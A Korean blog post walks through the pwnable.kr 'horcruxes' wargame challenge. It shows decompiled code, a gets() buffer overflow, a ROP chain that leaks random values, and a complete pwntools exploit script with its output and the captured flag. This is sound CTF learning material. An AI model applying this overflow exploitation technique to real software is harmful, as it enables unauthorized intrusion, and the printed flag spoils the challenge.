시작
안녕하세요!!
Toddler’s Bottle의 마지막 문제, horcruxes를 풀어봤어요 :D
IDA 없이 GDB로만 보다가 도저히 눈에 안들어와서.. 구글링과 함께한 풀이입니다.
똑똑이 분들이 참 많더라구요ㅠㅠㅠ 대단쓰
풀 때마다 새로운 ROP 문제였습니다 바로 시작해보죠!!
Write UP
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choissh horcruxes@pwnable.kr -p2222 (pw:guest)
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and destroy it!
Select Menu:1
How many EXP did you earned? : 100
You'd better get more experience to kill Voldemort
메뉴도 안 주고 다짜고짜 고르라고 한 담에 경험치를 얼마나 얻었냐고 물어봅니다.
100을 던져주니 더 얻어오라고 하네요.
gdb로 볼 수 있는 건 다 봐야겠죠?
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$ info func
All defined functions:
Non-debugging symbols:
0x0809fbec _init
0x0809fc20 seccomp_init@plt
0x0809fc30 read@plt
0x0809fc40 printf@plt
0x0809fc50 gets@plt
0x0809fc60 seccomp_rule_add@plt
0x0809fc70 getchar@plt
0x0809fc80 seccomp_load@plt
0x0809fc90 alarm@plt
0x0809fca0 puts@plt
0x0809fcb0 exit@plt
0x0809fcc0 open@plt
0x0809fcd0 srand@plt
0x0809fce0 __libc_start_main@plt
0x0809fcf0 setvbuf@plt
0x0809fd00 rand@plt
0x0809fd10 __isoc99_scanf@plt
0x0809fd20 atoi@plt
0x0809fd30 close@plt
0x0809fd50 _start
0x0809fd80 __x86.get_pc_thunk.bx
0x0809fd90 deregister_tm_clones
0x0809fdc0 register_tm_clones
0x0809fe00 __do_global_dtors_aux
0x0809fe20 frame_dummy
0x0809fe4b A
0x0809fe6a B
0x0809fe89 C
0x0809fea8 D
0x0809fec7 E
0x0809fee6 F
0x0809ff05 G
0x0809ff24 main
0x080a0009 ropme
0x080a0177 init_ABCDEFG
0x080a0324 hint
0x080a0350 __libc_csu_init
0x080a03b0 __libc_csu_fini
0x080a03b4 _fini
A B C D E F G 함수와 ropme 함수가 눈에 띄네요.
IDA로 각 함수들을 확인해보죠.
unsigned int init_ABCDEFG()
{
int v0;
unsigned int result;
unsigned int buf;
int fd;
fd = open("/dev/urandom", 0);
if ( read(fd, &buf, 4u) != 4 )
{
puts("/dev/urandom error");
exit(0);
}
close(fd);
srand(buf);
a = -559038737 * rand() % 0xCAFEBABE;
b = -559038737 * rand() % 0xCAFEBABE;
c = -559038737 * rand() % 0xCAFEBABE;
d = -559038737 * rand() % 0xCAFEBABE;
e = -559038737 * rand() % 0xCAFEBABE;
f = -559038737 * rand() % 0xCAFEBABE;
v0 = rand();
g = -559038737 * v0 % 0xCAFEBABE;
result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
sum = result;
return result;
}
init_ABCDEFG()
전역변수 a, b, c, d, e, f, g와 sum의 값을 설정해주고 sum(=result)를 return합니다.
각 변수들에 난수를 집어넣네요.
int ropme()
{
char s[100];
int v2;
int fd;
printf("Select Menu:");
__isoc99_scanf("%d", &v2);
getchar();
if ( v2 == a )
{
A();
}
else if ( v2 == b )
{
B();
}
else if ( v2 == b )
{
B();
}
else if ( v2 == c )
{
C();
}
else if ( v2 == d )
{
D();
}
else if ( v2 == e )
{
E();
}
else if ( v2 == f )
{
F();
}
else if ( v2 == g )
{
G();
}
else
{
printf("How many EXP did you earned? : ");
gest(s);
if ( atoi(s) == sum )
{
fd = open("flag", 0);
s[read(fd, s, 0x64u)] = 0;
puts(s);
close(fd);
exit(0);
}
puts("You'd better get more experience to kill Voldemort");
}
return 0;
}
ropme()
scanf()
로 받은 값이 알파벳과 같으면 A()
, B()
.. 함수를 호출합니다.init_ABCDEFG()
에서 계산한 sum과 gets()
로 입력받은 값이 같다면 flag 파일을 읽어주네요.A()
는 무슨 함수인지 확인하면 대충 흐름이 보이겠네요.
int __cdecl A()
{
return printf("You found \"Tom Riddle's Diary\" (EXP + %d)\n", a);
}
A()
전역변수 a를 출력합니다. 간단하네요.
코드의 흐름을 쭉 살펴봤습니다.
gdb로 해보려고 했는데 진짜 정리가 안 돼서.. 사람은 IDA를 써야해요 이 얼마나 클-린합니까 ㅠㅠ
맘 같아선 if문 안으로 뛰고 싶지만 leave ret이 실행되면서 스택프레임이 아작나기 때문에 제대로된 함수 실행이 불가능해요.
따라서 main 함수에 쓰여있는 call ropme
를 이용하겠습니다.
익스 코드의 시나리오는 다음과 같습니다.
1.
gets()
에서 BOF 발생, A B C D E F G 함수를 각각 호출1.1얘네들은 인자를 받지 않기 때문에 가젯이 필요없음!! rop chain을 쭉 연결하면 됨
2. 함수들을 거쳐서 얻어낸 전역변수 a b c d e f g의 값을 통해 sum 값 계산
3. main의call ropme
를 이용, 처음으로 돌아가서 sum 값을 입력!! → flag
from pwn import *
#context.log_level = "debug"
p = remote("localhost", 9032)
payload = ""
A = 0x809fe4b
B = 0x809fe6a
C = 0x809fe89
D = 0x809fea8
E = 0x809fec7
F = 0x809fee6
G = 0x809ff05
ROPME = 0x809fffc
p.recvuntil("Menu:")
p.sendline("1")
p.recvuntil("earned? : ")
payload += "A" * 120 #BUF + SFP
payload += p32(A) #RET
payload += p32(B)
payload += p32(C)
payload += p32(D)
payload += p32(E)
payload += p32(F)
payload += p32(G)
payload += p32(ROPME)
p.sendline(payload)
total = 0
for i in range(0, 7) :
p.recvuntil("EXP +")
total += int(p.recvuntil(")")[:-1])
log.info("total = " + str(total))
p.recvuntil("Menu:")
p.sendline("1")
p.recvuntil("earned? : ")
p.sendline(str(total))
log.info(p.recv())
[+] Opening connection to localhost on port 9032: Done
[*] total = 776693697
[*] total = 2206960085
[*] total = 2539918724
[*] total = 1482020656
[*] total = 2342495279
[*] total = 208828167
[*] total = -1483435256
[*] Magic_spell_1s_4vad4_K3daVr4!
[*] Closed connection to localhost port 9032
Exlploit!!!
파이썬 인덱싱 공부가 부족해서 저기 [:-1]
을 한참 찾아봤습니다ㅋㅋㅋㅋㅋㅋ
>>> s = "Hello World"
>>> s[:-1]
'Hello Worl'
>>> s[:-2]
'Hello Wor'
>>> s[-1:]
'd'
>>> s[-2:]
'ld'
[:-1]
이면 문자열의 처음부터 끝 - 1 까지!!p.recvuntil(")")
를 하면 문자열에 12345678)
가 들어가니깐 )
를 빼 주기 위해 [:-1]
처리를 한 거에요.
또 가끔 total 값이 int의 범위를 넘어가서 Flag가 안떨어지는 경우도 있어요ㅎㅎ..
마무리
어찌저찌 Toddler’s Bottle 문제들을 풀어냈네요.
pwnable.kr을 처음 접할 때가 3~4월이었는데, 많이 발전했습니다 진짜ㅠㅠㅠ
fd도 못 풀던 바보가 rop를 가지고 놀 줄은 어떻게 알았겠어요 ㅎㅎㅎ
bof, passcode, uaf 같은 문제는 잊지 못할 것 같습니다. 더 깊게 공부해야 할 것 같아요 특히 uaf.. 무서운 힙..
감사합니다 :D
'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] asm (0) | 2019.09.13 |
---|---|
[pwnable.kr] unlink (0) | 2019.08.30 |
[pwnable.kr] fsb (0) | 2019.06.26 |
[pwnable.kr] unexploitable (0) | 2019.06.20 |
pwnable.kr : uaf 풀이 (0) | 2019.04.18 |